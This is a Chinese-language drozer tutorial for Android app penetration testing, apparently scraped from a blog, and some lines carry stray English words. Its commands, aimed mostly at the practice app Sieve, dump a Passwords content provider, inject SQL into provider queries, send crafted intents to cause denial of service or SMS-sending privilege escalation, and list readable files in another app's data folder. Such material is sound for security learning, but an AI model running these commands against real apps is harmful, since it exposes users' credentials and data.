利用drozer進行Android滲透測試

1、安裝與啓動

1. 安裝 

第一步:從http://mwr.to/drozer下載Drozer (Windows Installer) android

第二步:在Android設備中安裝agent.apkshell

adb install agent.apkapp

2. 啓動

第一步:在PC上使用adb進行端口轉發,轉發到Drozer使用的端口31415tcp

adb forward tcp:31415 tcp:31415

第二步:在Android設備上開啓Drozer Agentide

選擇embedded server-enable工具

第三步:在PC上開啓Drozer console測試

drozer console connect 

2、測試步驟spa

1.獲取包名

dz> run app.package.list -f sieve

com.mwr.example.sieve

2.獲取應用的基本信息code

run app.package.info -a com.mwr.example.sieve

3.肯定攻擊面component

run app.package.attacksurface com.mwr.example.sieve

4.Activity

1)獲取activity信息

run app.activity.info -a com.mwr.example.sieve

2)啓動activity

run app.activity.start --component com.mwr.example.sieve

dz> help app.activity.start

usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]

[--component PACKAGE COMPONENT] [--data-uri DATA_URI]

[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

[--mimetype MIMETYPE]

5.Content Provider

1)獲取Content Provider信息

run app.provider.info -a com.mwr.example.sieve

(2)Content Providers(數據泄露)

先獲取全部能夠訪問的Uri: 

run scanner.provider.finduris -a com.mwr.example.sieve

獲取各個Uri的數據:

run app.provider.query

content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查詢到數聽說明存在漏洞

(3)Content ProvidersSQL注入)

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

報錯則說明存在SQL注入。

列出全部表:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

獲取某個表(如Key)中的數據:

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

4)同時檢測SQL注入和目錄遍歷

run scanner.provider.injection -a com.mwr.example.sieve

run scanner.provider.traversal -a com.mwr.example.sieve

6 intent組件觸發(拒絕服務、權限提高)

利用intent對組件的觸發通常有兩類漏洞,一類是拒絕服務,一類的權限提高。拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提高將使得沒有該權限的應用能夠經過intent觸發擁有該權限的應用,從而幫助其完成越權行爲。

1.查看暴露的廣播組件信息:

run app.broadcast.info -a com.package.name  獲取broadcast receivers信息

run app.broadcast.send --component 包名 --action android.intent.action.XXX

2.嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras):

run app.broadcast.send 經過intent發送broadcast receiver

(1)   空action

run app.broadcast.send --component 包名 ReceiverName

run app.broadcast.send --component 包名 ReceiverName

(2)   空extras

run app.broadcast.send --action android.intent.action.XXX

3.嘗試權限提高

權限提高其實和拒絕服務很相似,只不過目的變成構造更爲完整、更能知足程序邏輯的intent。因爲activity通常多於用戶交互有關,因此基 於intent的權限提高更多針對broadcast receiver和service。與drozer相關的權限提高工具,能夠參考IntentFuzzer,其結合了drozer以及hook技術,採用 feedback策略進行fuzzing。如下僅僅列舉drozer發送intent的命令:

(1)獲取service詳情  

run app.service.info -a com.mwr.example.sieve

不使用drozer啓動service

am startservice –n 包名/service名

(2)權限提高

run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

7.文件操做

列出指定文件路徑裏全局可寫/可讀的文件

run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo

run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo

run app.broadcast.send --component 包名 --action android.intent.action.XXX

8.其它模塊

shell.start 在設備上開啓一個交互shell

tools.file.upload / tools.file.download 上傳/下載文件到設備

tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進制文件
相關文章
相關標籤/搜索